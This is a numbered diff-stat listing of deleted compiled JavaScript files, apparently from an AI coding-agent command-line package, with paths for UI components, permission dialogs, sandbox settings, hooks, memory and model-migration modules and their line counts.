  511. package/dist/src/components/agents/new-agent-creation/wizard-steps/MethodStep.js +0 -79
  512. package/dist/src/components/agents/new-agent-creation/wizard-steps/ModelStep.js +0 -48
  513. package/dist/src/components/agents/new-agent-creation/wizard-steps/PromptStep.js +0 -131
  514. package/dist/src/components/agents/new-agent-creation/wizard-steps/ToolsStep.js +0 -51
  515. package/dist/src/components/agents/new-agent-creation/wizard-steps/TypeStep.js +0 -100
  516. package/dist/src/components/agents/types.js +0 -4
  517. package/dist/src/components/agents/utils.js +0 -14
  518. package/dist/src/components/agents/validateAgent.js +0 -79
  519. package/dist/src/components/design-system/Byline.js +0 -72
  520. package/dist/src/components/design-system/Dialog.js +0 -116
  521. package/dist/src/components/design-system/Divider.js +0 -109
  522. package/dist/src/components/design-system/FuzzyPicker.js +0 -187
  523. package/dist/src/components/design-system/KeyboardShortcutHint.js +0 -67
  524. package/dist/src/components/design-system/ListItem.js +0 -183
  525. package/dist/src/components/design-system/LoadingState.js +0 -68
  526. package/dist/src/components/design-system/Pane.js +0 -68
  527. package/dist/src/components/design-system/ProgressBar.js +0 -62
  528. package/dist/src/components/design-system/Ratchet.js +0 -71
  529. package/dist/src/components/design-system/StatusIcon.js +0 -69
  530. package/dist/src/components/design-system/Tabs.js +0 -269
  531. package/dist/src/components/design-system/ThemeProvider.js +0 -137
  532. package/dist/src/components/design-system/ThemedBox.js +0 -125
  533. package/dist/src/components/design-system/ThemedText.js +0 -60
  534. package/dist/src/components/design-system/color.js +0 -22
  535. package/dist/src/components/diff/DiffDetailView.js +0 -284
  536. package/dist/src/components/diff/DiffDialog.js +0 -387
  537. package/dist/src/components/diff/DiffFileList.js +0 -291
  538. package/dist/src/components/grove/Grove.js +0 -483
  539. package/dist/src/components/hooks/HooksConfigMenu.js +0 -570
  540. package/dist/src/components/hooks/PromptDialog.js +0 -81
  541. package/dist/src/components/hooks/SelectEventMode.js +0 -117
  542. package/dist/src/components/hooks/SelectHookMode.js +0 -93
  543. package/dist/src/components/hooks/SelectMatcherMode.js +0 -124
  544. package/dist/src/components/hooks/ViewHookMode.js +0 -197
  545. package/dist/src/components/mcp/CapabilitiesSection.js +0 -55
  546. package/dist/src/components/mcp/ElicitationDialog.js +0 -945
  547. package/dist/src/components/mcp/MCPAgentServerMenu.js +0 -95
  548. package/dist/src/components/mcp/MCPListPanel.js +0 -504
  549. package/dist/src/components/mcp/MCPReconnect.js +0 -168
  550. package/dist/src/components/mcp/MCPRemoteServerMenu.js +0 -460
  551. package/dist/src/components/mcp/MCPSettings.js +0 -414
  552. package/dist/src/components/mcp/MCPStdioServerMenu.js +0 -95
  553. package/dist/src/components/mcp/MCPToolDetailView.js +0 -219
  554. package/dist/src/components/mcp/MCPToolListView.js +0 -136
  555. package/dist/src/components/mcp/McpParsingWarnings.js +0 -211
  556. package/dist/src/components/mcp/index.js +0 -8
  557. package/dist/src/components/mcp/types.js +0 -3
  558. package/dist/src/components/mcp/utils/reconnectHelpers.js +0 -35
  559. package/dist/src/components/memory/MemoryFileSelector.js +0 -455
  560. package/dist/src/components/memory/MemoryUpdateNotification.js +0 -42
  561. package/dist/src/components/messageActions.js +0 -418
  562. package/dist/src/components/messages/AdvisorMessage.js +0 -151
  563. package/dist/src/components/messages/AssistantRedactedThinkingMessage.js +0 -27
  564. package/dist/src/components/messages/AssistantTextMessage.js +0 -274
  565. package/dist/src/components/messages/AssistantThinkingMessage.js +0 -69
  566. package/dist/src/components/messages/AssistantToolUseMessage.js +0 -323
  567. package/dist/src/components/messages/AttachmentMessage.js +0 -418
  568. package/dist/src/components/messages/CollapsedReadSearchContent.js +0 -362
  569. package/dist/src/components/messages/CompactBoundaryMessage.js +0 -18
  570. package/dist/src/components/messages/GroupedToolUseContent.js +0 -37
  571. package/dist/src/components/messages/HighlightedThinkingText.js +0 -164
  572. package/dist/src/components/messages/HookProgressMessage.js +0 -110
  573. package/dist/src/components/messages/PlanApprovalMessage.js +0 -212
  574. package/dist/src/components/messages/RateLimitMessage.js +0 -149
  575. package/dist/src/components/messages/ShutdownMessage.js +0 -123
  576. package/dist/src/components/messages/SystemAPIErrorMessage.js +0 -135
  577. package/dist/src/components/messages/SystemTextMessage.js +0 -843
  578. package/dist/src/components/messages/TaskAssignmentMessage.js +0 -71
  579. package/dist/src/components/messages/UserAgentNotificationMessage.js +0 -77
  580. package/dist/src/components/messages/UserBashInputMessage.js +0 -51
  581. package/dist/src/components/messages/UserBashOutputMessage.js +0 -54
  582. package/dist/src/components/messages/UserChannelMessage.js +0 -129
  583. package/dist/src/components/messages/UserCommandMessage.js +0 -106
  584. package/dist/src/components/messages/UserImageMessage.js +0 -53
  585. package/dist/src/components/messages/UserLocalCommandOutputMessage.js +0 -169
  586. package/dist/src/components/messages/UserMemoryInputMessage.js +0 -72
  587. package/dist/src/components/messages/UserPlanMessage.js +0 -37
  588. package/dist/src/components/messages/UserPromptMessage.js +0 -63
  589. package/dist/src/components/messages/UserResourceUpdateMessage.js +0 -101
  590. package/dist/src/components/messages/UserTeammateMessage.js +0 -156
  591. package/dist/src/components/messages/UserTextMessage.js +0 -271
  592. package/dist/src/components/messages/UserToolResultMessage/RejectedPlanMessage.js +0 -27
  593. package/dist/src/components/messages/UserToolResultMessage/RejectedToolUseMessage.js +0 -16
  594. package/dist/src/components/messages/UserToolResultMessage/UserToolCanceledMessage.js +0 -16
  595. package/dist/src/components/messages/UserToolResultMessage/UserToolErrorMessage.js +0 -91
  596. package/dist/src/components/messages/UserToolResultMessage/UserToolRejectMessage.js +0 -73
  597. package/dist/src/components/messages/UserToolResultMessage/UserToolResultMessage.js +0 -83
  598. package/dist/src/components/messages/UserToolResultMessage/UserToolSuccessMessage.js +0 -58
  599. package/dist/src/components/messages/UserToolResultMessage/utils.js +0 -43
  600. package/dist/src/components/messages/nullRenderingAttachments.js +0 -58
  601. package/dist/src/components/messages/teamMemCollapsed.js +0 -142
  602. package/dist/src/components/messages/teamMemSaved.js +0 -17
  603. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/AskUserQuestionPermissionRequest.js +0 -654
  604. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/PreviewBox.js +0 -219
  605. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/PreviewQuestionView.js +0 -227
  606. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/QuestionNavigationBar.js +0 -174
  607. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/QuestionView.js +0 -444
  608. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.js +0 -136
  609. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/use-multiple-choice-state.js +0 -100
  610. package/dist/src/components/permissions/BashPermissionRequest/BashPermissionRequest.js +0 -404
  611. package/dist/src/components/permissions/BashPermissionRequest/bashToolUseOptions.js +0 -110
  612. package/dist/src/components/permissions/ComputerUseApproval/ComputerUseApproval.js +0 -448
  613. package/dist/src/components/permissions/EnterPlanModePermissionRequest/EnterPlanModePermissionRequest.js +0 -125
  614. package/dist/src/components/permissions/ExitPlanModePermissionRequest/ExitPlanModePermissionRequest.js +0 -650
  615. package/dist/src/components/permissions/FallbackPermissionRequest.js +0 -348
  616. package/dist/src/components/permissions/FileEditPermissionRequest/FileEditPermissionRequest.js +0 -184
  617. package/dist/src/components/permissions/FilePermissionDialog/FilePermissionDialog.js +0 -108
  618. package/dist/src/components/permissions/FilePermissionDialog/ideDiffConfig.js +0 -13
  619. package/dist/src/components/permissions/FilePermissionDialog/permissionOptions.js +0 -136
  620. package/dist/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.js +0 -131
  621. package/dist/src/components/permissions/FilePermissionDialog/usePermissionHandler.js +0 -86
  622. package/dist/src/components/permissions/FileWritePermissionRequest/FileWritePermissionRequest.js +0 -163
  623. package/dist/src/components/permissions/FileWritePermissionRequest/FileWriteToolDiff.js +0 -78
  624. package/dist/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.js +0 -112
  625. package/dist/src/components/permissions/NotebookEditPermissionRequest/NotebookEditPermissionRequest.js +0 -163
  626. package/dist/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.js +0 -217
  627. package/dist/src/components/permissions/PermissionDecisionDebugInfo.js +0 -466
  628. package/dist/src/components/permissions/PermissionDialog.js +0 -54
  629. package/dist/src/components/permissions/PermissionExplanation.js +0 -269
  630. package/dist/src/components/permissions/PermissionPrompt.js +0 -316
  631. package/dist/src/components/permissions/PermissionRequest.js +0 -160
  632. package/dist/src/components/permissions/PermissionRequestTitle.js +0 -57
  633. package/dist/src/components/permissions/PermissionRuleExplanation.js +0 -109
  634. package/dist/src/components/permissions/PowerShellPermissionRequest/PowerShellPermissionRequest.js +0 -178
  635. package/dist/src/components/permissions/PowerShellPermissionRequest/powershellToolUseOptions.js +0 -73
  636. package/dist/src/components/permissions/SandboxPermissionRequest.js +0 -161
  637. package/dist/src/components/permissions/SedEditPermissionRequest/SedEditPermissionRequest.js +0 -228
  638. package/dist/src/components/permissions/SkillPermissionRequest/SkillPermissionRequest.js +0 -384
  639. package/dist/src/components/permissions/WebFetchPermissionRequest/WebFetchPermissionRequest.js +0 -258
  640. package/dist/src/components/permissions/WorkerBadge.js +0 -43
  641. package/dist/src/components/permissions/WorkerPendingPermission.js +0 -106
  642. package/dist/src/components/permissions/hooks.js +0 -163
  643. package/dist/src/components/permissions/rules/AddPermissionRules.js +0 -170
  644. package/dist/src/components/permissions/rules/AddWorkspaceDirectory.js +0 -334
  645. package/dist/src/components/permissions/rules/PermissionRuleDescription.js +0 -77
  646. package/dist/src/components/permissions/rules/PermissionRuleInput.js +0 -135
  647. package/dist/src/components/permissions/rules/PermissionRuleList.js +0 -1189
  648. package/dist/src/components/permissions/rules/RecentDenialsTab.js +0 -204
  649. package/dist/src/components/permissions/rules/RemoveWorkspaceDirectory.js +0 -102
  650. package/dist/src/components/permissions/rules/WorkspaceTab.js +0 -132
  651. package/dist/src/components/permissions/shellPermissionHelpers.js +0 -111
  652. package/dist/src/components/permissions/useShellPermissionFeedback.js +0 -108
  653. package/dist/src/components/permissions/utils.js +0 -14
  654. package/dist/src/components/sandbox/SandboxConfigTab.js +0 -47
  655. package/dist/src/components/sandbox/SandboxDependenciesTab.js +0 -122
  656. package/dist/src/components/sandbox/SandboxDoctorSection.js +0 -46
  657. package/dist/src/components/sandbox/SandboxOverridesTab.js +0 -192
  658. package/dist/src/components/sandbox/SandboxSettings.js +0 -296
  659. package/dist/src/components/shell/ExpandShellOutputContext.js +0 -33
  660. package/dist/src/components/shell/OutputLine.js +0 -110
  661. package/dist/src/components/shell/ShellProgressMessage.js +0 -143
  662. package/dist/src/components/shell/ShellTimeDisplay.js +0 -71
  663. package/dist/src/components/skills/SkillsMenu.js +0 -238
  664. package/dist/src/components/tasks/AsyncAgentDetailDialog.js +0 -234
  665. package/dist/src/components/tasks/BackgroundTask.js +0 -363
  666. package/dist/src/components/tasks/BackgroundTaskStatus.js +0 -419
  667. package/dist/src/components/tasks/BackgroundTasksDialog.js +0 -496
  668. package/dist/src/components/tasks/DreamDetailDialog.js +0 -250
  669. package/dist/src/components/tasks/InProcessTeammateDetailDialog.js +0 -274
  670. package/dist/src/components/tasks/RemoteSessionDetailDialog.js +0 -868
  671. package/dist/src/components/tasks/RemoteSessionProgress.js +0 -249
  672. package/dist/src/components/tasks/ShellDetailDialog.js +0 -403
  673. package/dist/src/components/tasks/ShellProgress.js +0 -76
  674. package/dist/src/components/tasks/renderToolActivity.js +0 -28
  675. package/dist/src/components/tasks/taskStatusUtils.js +0 -94
  676. package/dist/src/components/teams/TeamStatus.js +0 -76
  677. package/dist/src/components/teams/TeamsDialog.js +0 -672
  678. package/dist/src/components/ui/OrderedList.js +0 -66
  679. package/dist/src/components/ui/OrderedListItem.js +0 -41
  680. package/dist/src/components/ui/TreeSelect.js +0 -300
  681. package/dist/src/components/wizard/WizardDialogLayout.js +0 -47
  682. package/dist/src/components/wizard/WizardNavigationFooter.js +0 -10
  683. package/dist/src/components/wizard/WizardProvider.js +0 -217
  684. package/dist/src/components/wizard/index.js +0 -4
  685. package/dist/src/components/wizard/useWizard.js +0 -9
  686. package/dist/src/constants/apiLimits.js +0 -81
  687. package/dist/src/constants/betas.js +0 -45
  688. package/dist/src/constants/common.js +0 -29
  689. package/dist/src/constants/cyberRiskInstruction.js +0 -24
  690. package/dist/src/constants/errorIds.js +0 -14
  691. package/dist/src/constants/figures.js +0 -38
  692. package/dist/src/constants/files.js +0 -150
  693. package/dist/src/constants/github-app.js +0 -139
  694. package/dist/src/constants/keys.js +0 -10
  695. package/dist/src/constants/messages.js +0 -1
  696. package/dist/src/constants/oauth.js +0 -221
  697. package/dist/src/constants/outputStyles.js +0 -162
  698. package/dist/src/constants/product.js +0 -56
  699. package/dist/src/constants/prompts.js +0 -752
  700. package/dist/src/constants/spinnerVerbs.js +0 -202
  701. package/dist/src/constants/system.js +0 -77
  702. package/dist/src/constants/systemPromptSections.js +0 -39
  703. package/dist/src/constants/toolLimits.js +0 -50
  704. package/dist/src/constants/tools.js +0 -103
  705. package/dist/src/constants/turnCompletionVerbs.js +0 -12
  706. package/dist/src/constants/xml.js +0 -73
  707. package/dist/src/context/QueuedMessageContext.js +0 -51
  708. package/dist/src/context/fpsMetrics.js +0 -22
  709. package/dist/src/context/mailbox.js +0 -35
  710. package/dist/src/context/modalContext.js +0 -34
  711. package/dist/src/context/notifications.js +0 -199
  712. package/dist/src/context/overlayContext.js +0 -149
  713. package/dist/src/context/promptOverlayContext.js +0 -118
  714. package/dist/src/context/stats.js +0 -207
  715. package/dist/src/context/voice.js +0 -74
  716. package/dist/src/context.js +0 -146
  717. package/dist/src/coordinator/coordinatorMode.js +0 -345
  718. package/dist/src/cost-tracker.js +0 -208
  719. package/dist/src/costHook.js +0 -17
  720. package/dist/src/daemon/main.js +0 -16
  721. package/dist/src/daemon/workerRegistry.js +0 -16
  722. package/dist/src/dialogLaunchers.js +0 -68
  723. package/dist/src/entrypoints/agentSdkTypes.js +0 -202
  724. package/dist/src/entrypoints/cli.js +0 -237
  725. package/dist/src/entrypoints/init.js +0 -265
  726. package/dist/src/entrypoints/mcp.js +0 -142
  727. package/dist/src/entrypoints/sandboxTypes.js +0 -112
  728. package/dist/src/entrypoints/sdk/controlSchemas.js +0 -452
  729. package/dist/src/entrypoints/sdk/controlTypes.js +0 -1
  730. package/dist/src/entrypoints/sdk/coreSchemas.js +0 -1331
  731. package/dist/src/entrypoints/sdk/coreTypes.generated.js +0 -1
  732. package/dist/src/entrypoints/sdk/coreTypes.js +0 -49
  733. package/dist/src/entrypoints/sdk/runtimeTypes.js +0 -1
  734. package/dist/src/entrypoints/sdk/toolTypes.js +0 -1
  735. package/dist/src/environment-runner/main.js +0 -16
  736. package/dist/src/history.js +0 -386
  737. package/dist/src/hooks/fileSuggestions.js +0 -635
  738. package/dist/src/hooks/notifs/useAutoModeUnavailableNotification.js +0 -47
  739. package/dist/src/hooks/notifs/useCanSwitchToExistingSubscription.js +0 -57
  740. package/dist/src/hooks/notifs/useDeprecationWarningNotification.js +0 -43
  741. package/dist/src/hooks/notifs/useFastModeNotification.js +0 -164
  742. package/dist/src/hooks/notifs/useIDEStatusIndicator.js +0 -174
  743. package/dist/src/hooks/notifs/useInstallMessages.js +0 -27
  744. package/dist/src/hooks/notifs/useLspInitializationNotification.js +0 -144
  745. package/dist/src/hooks/notifs/useMcpConnectivityStatus.js +0 -80
  746. package/dist/src/hooks/notifs/useModelMigrationNotifications.js +0 -53
  747. package/dist/src/hooks/notifs/useNpmDeprecationNotification.js +0 -24
  748. package/dist/src/hooks/notifs/usePluginAutoupdateNotification.js +0 -82
  749. package/dist/src/hooks/notifs/usePluginInstallationStatus.js +0 -127
  750. package/dist/src/hooks/notifs/useRateLimitWarningNotification.js +0 -118
  751. package/dist/src/hooks/notifs/useSettingsErrors.js +0 -64
  752. package/dist/src/hooks/notifs/useStartupNotification.js +0 -33
  753. package/dist/src/hooks/notifs/useTeammateShutdownNotification.js +0 -64
  754. package/dist/src/hooks/renderPlaceholder.js +0 -26
  755. package/dist/src/hooks/toolPermission/PermissionContext.js +0 -211
  756. package/dist/src/hooks/toolPermission/handlers/coordinatorHandler.js +0 -44
  757. package/dist/src/hooks/toolPermission/handlers/interactiveHandler.js +0 -397
  758. package/dist/src/hooks/toolPermission/handlers/swarmWorkerHandler.js +0 -108
  759. package/dist/src/hooks/toolPermission/permissionLogging.js +0 -145
  760. package/dist/src/hooks/unifiedSuggestions.js +0 -130
  761. package/dist/src/hooks/useAfterFirstRender.js +0 -12
  762. package/dist/src/hooks/useApiKeyVerification.js +0 -63
  763. package/dist/src/hooks/useArrowKeyHistory.js +0 -203
  764. package/dist/src/hooks/useAssistantHistory.js +0 -194
  765. package/dist/src/hooks/useAwaySummary.js +0 -105
  766. package/dist/src/hooks/useBackgroundTaskNavigation.js +0 -204
  767. package/dist/src/hooks/useBlink.js +0 -28
  768. package/dist/src/hooks/useCanUseTool.js +0 -192
  769. package/dist/src/hooks/useCancelRequest.js +0 -195
  770. package/dist/src/hooks/useChromeExtensionNotification.js +0 -49
  771. package/dist/src/hooks/useClaudeCodeHintRecommendation.js +0 -117
  772. package/dist/src/hooks/useClipboardImageHint.js +0 -59
  773. package/dist/src/hooks/useCommandKeybindings.js +0 -87
  774. package/dist/src/hooks/useCommandQueue.js +0 -10
  775. package/dist/src/hooks/useCopyOnSelect.js +0 -88
  776. package/dist/src/hooks/useDeferredHookMessages.js +0 -43
  777. package/dist/src/hooks/useDiffData.js +0 -69
  778. package/dist/src/hooks/useDiffInIDE.js +0 -252
  779. package/dist/src/hooks/useDirectConnect.js +0 -150
  780. package/dist/src/hooks/useDoublePress.js +0 -44
  781. package/dist/src/hooks/useDynamicConfig.js +0 -17
  782. package/dist/src/hooks/useElapsedTime.js +0 -25
  783. package/dist/src/hooks/useExitOnCtrlCD.js +0 -57
  784. package/dist/src/hooks/useExitOnCtrlCDWithKeybindings.js +0 -17
  785. package/dist/src/hooks/useFileHistorySnapshotInit.js +0 -14
  786. package/dist/src/hooks/useGlobalKeybindings.js +0 -215
  787. package/dist/src/hooks/useHistorySearch.js +0 -241
  788. package/dist/src/hooks/useIDEIntegration.js +0 -56
  789. package/dist/src/hooks/useIdeAtMentioned.js +0 -51
  790. package/dist/src/hooks/useIdeConnectionStatus.js +0 -21
  791. package/dist/src/hooks/useIdeLogging.js +0 -29
  792. package/dist/src/hooks/useIdeSelection.js +0 -106
  793. package/dist/src/hooks/useInboxPoller.js +0 -709
  794. package/dist/src/hooks/useInputBuffer.js +0 -73
  795. package/dist/src/hooks/useIssueFlagBanner.js +0 -115
  796. package/dist/src/hooks/useLogMessages.js +0 -98
  797. package/dist/src/hooks/useLspPluginRecommendation.js +0 -176
  798. package/dist/src/hooks/useMailboxBridge.js +0 -15
  799. package/dist/src/hooks/useMainLoopModel.js +0 -25
  800. package/dist/src/hooks/useManagePlugins.js +0 -261
  801. package/dist/src/hooks/useMemoryUsage.js +0 -28
  802. package/dist/src/hooks/useMergedClients.js +0 -11
  803. package/dist/src/hooks/useMergedCommands.js +0 -10
  804. package/dist/src/hooks/useMergedTools.js +0 -32
  805. package/dist/src/hooks/useMinDisplayTime.js +0 -26
  806. package/dist/src/hooks/useNotifyAfterTimeout.js +0 -51
  807. package/dist/src/hooks/useOfficialMarketplaceNotification.js +0 -46
  808. package/dist/src/hooks/usePasteHandler.js +0 -188
  809. package/dist/src/hooks/usePluginRecommendationBase.js +0 -101
  810. package/dist/src/hooks/usePrStatus.js +0 -91
  811. package/dist/src/hooks/usePromptSuggestion.js +0 -128
  812. package/dist/src/hooks/usePromptsFromClaudeInChrome.js +0 -66
  813. package/dist/src/hooks/useQueueProcessor.js +0 -46
  814. package/dist/src/hooks/useRemoteSession.js +0 -431
  815. package/dist/src/hooks/useReplBridge.js +0 -717
  816. package/dist/src/hooks/useSSHSession.js +0 -167
  817. package/dist/src/hooks/useScheduledTasks.js +0 -104
  818. package/dist/src/hooks/useSearchInput.js +0 -302
  819. package/dist/src/hooks/useSessionBackgrounding.js +0 -132
  820. package/dist/src/hooks/useSettings.js +0 -10
  821. package/dist/src/hooks/useSettingsChange.js +0 -13
  822. package/dist/src/hooks/useSkillImprovementSurvey.js +0 -69
  823. package/dist/src/hooks/useSkillsChange.js +0 -51
  824. package/dist/src/hooks/useSwarmInitialization.js +0 -67
  825. package/dist/src/hooks/useSwarmPermissionPoller.js +0 -215
  826. package/dist/src/hooks/useTaskListWatcher.js +0 -157
  827. package/dist/src/hooks/useTasksV2.js +0 -220
  828. package/dist/src/hooks/useTeammateViewAutoExit.js +0 -55
  829. package/dist/src/hooks/useTelegramMirror.js +0 -47
  830. package/dist/src/hooks/useTeleportResume.js +0 -81
  831. package/dist/src/hooks/useTerminalSize.js +0 -9
  832. package/dist/src/hooks/useTextInput.js +0 -397
  833. package/dist/src/hooks/useTimeout.js +0 -10
  834. package/dist/src/hooks/useTurnDiffs.js +0 -160
  835. package/dist/src/hooks/useTypeahead.js +0 -1392
  836. package/dist/src/hooks/useUpdateNotification.js +0 -22
  837. package/dist/src/hooks/useVimInput.js +0 -232
  838. package/dist/src/hooks/useVirtualScroll.js +0 -627
  839. package/dist/src/hooks/useVoice.js +0 -954
  840. package/dist/src/hooks/useVoiceEnabled.js +0 -21
  841. package/dist/src/hooks/useVoiceIntegration.js +0 -631
  842. package/dist/src/hooks/useWhatsAppMirror.js +0 -46
  843. package/dist/src/index.js +0 -18
  844. package/dist/src/ink/Ansi.js +0 -269
  845. package/dist/src/ink/bidi.js +0 -117
  846. package/dist/src/ink/clearTerminal.js +0 -58
  847. package/dist/src/ink/colorize.js +0 -198
  848. package/dist/src/ink/components/AlternateScreen.js +0 -74
  849. package/dist/src/ink/components/App.js +0 -558
  850. package/dist/src/ink/components/AppContext.js +0 -11
  851. package/dist/src/ink/components/Box.js +0 -153
  852. package/dist/src/ink/components/Button.js +0 -166
  853. package/dist/src/ink/components/ClockContext.js +0 -108
  854. package/dist/src/ink/components/CursorDeclarationContext.js +0 -3
  855. package/dist/src/ink/components/ErrorOverview.js +0 -49
  856. package/dist/src/ink/components/Link.js +0 -33
  857. package/dist/src/ink/components/Newline.js +0 -29
  858. package/dist/src/ink/components/NoSelect.js +0 -56
  859. package/dist/src/ink/components/RawAnsi.js +0 -45
  860. package/dist/src/ink/components/ScrollBox.js +0 -170
  861. package/dist/src/ink/components/Spacer.js +0 -19
  862. package/dist/src/ink/components/StdinContext.js +0 -16
  863. package/dist/src/ink/components/TerminalFocusContext.js +0 -45
  864. package/dist/src/ink/components/TerminalSizeContext.js +0 -3
  865. package/dist/src/ink/components/Text.js +0 -194
  866. package/dist/src/ink/constants.js +0 -2
  867. package/dist/src/ink/devtools.js +0 -16
  868. package/dist/src/ink/dom.js +0 -298
  869. package/dist/src/ink/events/click-event.js +0 -36
  870. package/dist/src/ink/events/dispatcher.js +0 -172
  871. package/dist/src/ink/events/emitter.js +0 -31
  872. package/dist/src/ink/events/event-handlers.js +0 -30
  873. package/dist/src/ink/events/event.js +0 -9
  874. package/dist/src/ink/events/focus-event.js +0 -16
  875. package/dist/src/ink/events/input-event.js +0 -161
  876. package/dist/src/ink/events/keyboard-event.js +0 -45
  877. package/dist/src/ink/events/terminal-event.js +0 -78
  878. package/dist/src/ink/events/terminal-focus-event.js +0 -15
  879. package/dist/src/ink/focus.js +0 -158
  880. package/dist/src/ink/frame.js +0 -30
  881. package/dist/src/ink/get-max-width.js +0 -23
  882. package/dist/src/ink/hit-test.js +0 -113
  883. package/dist/src/ink/hooks/use-animation-frame.js +0 -48
  884. package/dist/src/ink/hooks/use-app.js +0 -7
  885. package/dist/src/ink/hooks/use-declared-cursor.js +0 -60
  886. package/dist/src/ink/hooks/use-input.js +0 -70
  887. package/dist/src/ink/hooks/use-interval.js +0 -54
  888. package/dist/src/ink/hooks/use-search-highlight.js +0 -32
  889. package/dist/src/ink/hooks/use-selection.js +0 -60
  890. package/dist/src/ink/hooks/use-stdin.js +0 -7
  891. package/dist/src/ink/hooks/use-tab-status.js +0 -57
  892. package/dist/src/ink/hooks/use-terminal-focus.js +0 -15
  893. package/dist/src/ink/hooks/use-terminal-title.js +0 -29
  894. package/dist/src/ink/hooks/use-terminal-viewport.js +0 -77
  895. package/dist/src/ink/ink.js +0 -1644
  896. package/dist/src/ink/instances.js +0 -7
  897. package/dist/src/ink/layout/engine.js +0 -4
  898. package/dist/src/ink/layout/geometry.js +0 -61
  899. package/dist/src/ink/layout/node.js +0 -62
  900. package/dist/src/ink/layout/yoga.js +0 -237
  901. package/dist/src/ink/line-width-cache.js +0 -19
  902. package/dist/src/ink/log-update.js +0 -583
  903. package/dist/src/ink/measure-element.js +0 -8
  904. package/dist/src/ink/measure-text.js +0 -35
  905. package/dist/src/ink/node-cache.js +0 -30
  906. package/dist/src/ink/optimizer.js +0 -81
  907. package/dist/src/ink/output.js +0 -556
  908. package/dist/src/ink/parse-keypress.js +0 -695
  909. package/dist/src/ink/reconciler.js +0 -384
  910. package/dist/src/ink/render-border.js +0 -134
  911. package/dist/src/ink/render-node-to-output.js +0 -1216
  912. package/dist/src/ink/render-to-screen.js +0 -171
  913. package/dist/src/ink/renderer.js +0 -129
  914. package/dist/src/ink/root.js +0 -80
  915. package/dist/src/ink/screen.js +0 -1132
  916. package/dist/src/ink/searchHighlight.js +0 -78
  917. package/dist/src/ink/selection.js +0 -792
  918. package/dist/src/ink/squash-text-nodes.js +0 -56
  919. package/dist/src/ink/stringWidth.js +0 -200
  920. package/dist/src/ink/styles.js +0 -299
  921. package/dist/src/ink/supports-hyperlinks.js +0 -40
  922. package/dist/src/ink/tabstops.js +0 -39
  923. package/dist/src/ink/terminal-focus-state.js +0 -35
  924. package/dist/src/ink/terminal-querier.js +0 -173
  925. package/dist/src/ink/terminal.js +0 -208
  926. package/dist/src/ink/termio/ansi.js +0 -70
  927. package/dist/src/ink/termio/csi.js +0 -260
  928. package/dist/src/ink/termio/dec.js +0 -53
  929. package/dist/src/ink/termio/esc.js +0 -55
  930. package/dist/src/ink/termio/osc.js +0 -432
  931. package/dist/src/ink/termio/parser.js +0 -356
  932. package/dist/src/ink/termio/sgr.js +0 -292
  933. package/dist/src/ink/termio/tokenize.js +0 -264
  934. package/dist/src/ink/termio/types.js +0 -55
  935. package/dist/src/ink/termio.js +0 -24
  936. package/dist/src/ink/useTerminalNotification.js +0 -57
  937. package/dist/src/ink/warn.js +0 -10
  938. package/dist/src/ink/widest-line.js +0 -14
  939. package/dist/src/ink/wrap-text.js +0 -54
  940. package/dist/src/ink/wrapAnsi.js +0 -6
  941. package/dist/src/ink.js +0 -50
  942. package/dist/src/interactiveHelpers.js +0 -317
  943. package/dist/src/keybindings/KeybindingContext.js +0 -184
  944. package/dist/src/keybindings/KeybindingProviderSetup.js +0 -259
  945. package/dist/src/keybindings/defaultBindings.js +0 -333
  946. package/dist/src/keybindings/loadUserBindings.js +0 -393
  947. package/dist/src/keybindings/match.js +0 -111
  948. package/dist/src/keybindings/parser.js +0 -184
  949. package/dist/src/keybindings/reservedShortcuts.js +0 -109
  950. package/dist/src/keybindings/resolver.js +0 -182
  951. package/dist/src/keybindings/schema.js +0 -205
  952. package/dist/src/keybindings/shortcutFormat.js +0 -48
  953. package/dist/src/keybindings/template.js +0 -40
  954. package/dist/src/keybindings/useKeybinding.js +0 -161
  955. package/dist/src/keybindings/useShortcutDisplay.js +0 -43
  956. package/dist/src/keybindings/validate.js +0 -395
  957. package/dist/src/main.js +0 -4073
  958. package/dist/src/memdir/findRelevantMemories.js +0 -101
  959. package/dist/src/memdir/memdir.js +0 -408
  960. package/dist/src/memdir/memoryAge.js +0 -52
  961. package/dist/src/memdir/memoryScan.js +0 -65
  962. package/dist/src/memdir/memoryTypes.js +0 -260
  963. package/dist/src/memdir/paths.js +0 -236
  964. package/dist/src/memdir/teamMemPaths.js +0 -261
  965. package/dist/src/memdir/teamMemPrompts.js +0 -82
  966. package/dist/src/migrations/migrateAutoUpdatesToSettings.js +0 -47
  967. package/dist/src/migrations/migrateBypassPermissionsAcceptedToSettings.js +0 -32
  968. package/dist/src/migrations/migrateEnableAllProjectMcpServersToSettings.js +0 -83
  969. package/dist/src/migrations/migrateFennecToOpus.js +0 -39
  970. package/dist/src/migrations/migrateLegacyOpusToCurrent.js +0 -44
  971. package/dist/src/migrations/migrateOpusToOpus1m.js +0 -31
  972. package/dist/src/migrations/migrateReplBridgeEnabledToRemoteControlAtStartup.js +0 -23
  973. package/dist/src/migrations/migrateSonnet1mToSonnet45.js +0 -38
  974. package/dist/src/migrations/migrateSonnet45ToSonnet46.js +0 -48
  975. package/dist/src/migrations/resetAutoModeOptInForDefaultOffer.js +0 -47
  976. package/dist/src/migrations/resetProToOpusDefault.js +0 -46
  977. package/dist/src/mirrors/shared.js +0 -186
  978. package/dist/src/moreright/useMoreRight.js +0 -13
  979. package/dist/src/native-ts/color-diff/index.js +0 -821
  980. package/dist/src/native-ts/file-index/index.js +0 -328
  981. package/dist/src/native-ts/yoga-layout/enums.js +0 -101
  982. package/dist/src/native-ts/yoga-layout/index.js +0 -2113
  983. package/dist/src/outputStyles/loadOutputStylesDir.js +0 -71
  984. package/dist/src/plugins/builtinPlugins.js +0 -132
  985. package/dist/src/plugins/bundled/index.js +0 -22
  986. package/dist/src/projectOnboardingState.js +0 -61
  987. package/dist/src/query/config.js +0 -17
  988. package/dist/src/query/deps.js +0 -12
  989. package/dist/src/query/stopHooks.js +0 -334
  990. package/dist/src/query/tokenBudget.js +0 -49
  991. package/dist/src/query.js +0 -1330
  992. package/dist/src/recovery/bunBundleShim.js +0 -11
